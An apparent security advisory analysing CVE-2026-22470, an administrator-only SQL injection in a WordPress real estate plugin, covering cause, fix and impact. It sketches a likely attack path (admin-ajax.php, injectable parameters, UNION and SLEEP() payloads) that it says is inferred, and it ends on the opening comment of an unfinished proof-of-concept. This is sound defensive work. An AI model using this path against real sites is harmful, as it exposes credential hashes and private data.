Atomic Edge analysis of CVE-2026-22470 (metadata-based):
This vulnerability is an authenticated SQL injection in the FireStorm Professional Real Estate WordPress plugin, affecting versions up to and including 2.7.11. The flaw allows attackers with administrator-level access or higher to execute arbitrary SQL commands. The CVSS score of 4.9 reflects a high confidentiality impact limited by the high privilege requirement and no impact to integrity or availability.
Atomic Edge research identifies the root cause as improper neutralization of special elements in an SQL command (CWE-89). The vulnerability description states insufficient escaping on a user-supplied parameter and a lack of sufficient query preparation. This indicates the plugin likely constructs SQL queries by directly concatenating user input into the query string without using prepared statements via `$wpdb`. These conclusions are inferred from the CWE classification and the public description, as no source code diff is available for confirmation.
Exploitation requires an authenticated session with administrator-level capabilities. The attacker would likely target a WordPress AJAX handler or admin POST endpoint specific to the plugin’s functionality. A plausible attack vector is a POST request to `/wp-admin/admin-ajax.php` with an `action` parameter containing a plugin-specific hook like `fs_real_estate_action`. The malicious SQL payload would be placed in another request parameter, such as `id` or `orderby`. Example payloads include UNION-based queries for data extraction or time-based blind SQLi commands using `SLEEP()`.
Remediation requires implementing proper input validation and using parameterized queries. The fix should replace any direct variable interpolation in SQL strings with the `$wpdb->prepare()` method. All user-supplied data used in database operations must be passed as parameters to this method. The plugin should also enforce strict capability checks, though the vulnerability already requires high privileges.
The primary impact is sensitive information disclosure from the WordPress database. Successful exploitation could allow an administrator to extract data from any table, including hashed user credentials from `wp_users`, personally identifiable information, or other private plugin data. This could facilitate further attacks like password cracking or session hijacking. The vulnerability does not directly allow privilege escalation or remote code execution.

/**
* Proof-of-concept for CVE-2026-22470.

* The AJAX action is derived from the plugin slug as 'fs_real_estate_action'.
* Requires valid administrator WordPress cookies (wordpress_logged_in_, wordpress_sec_).
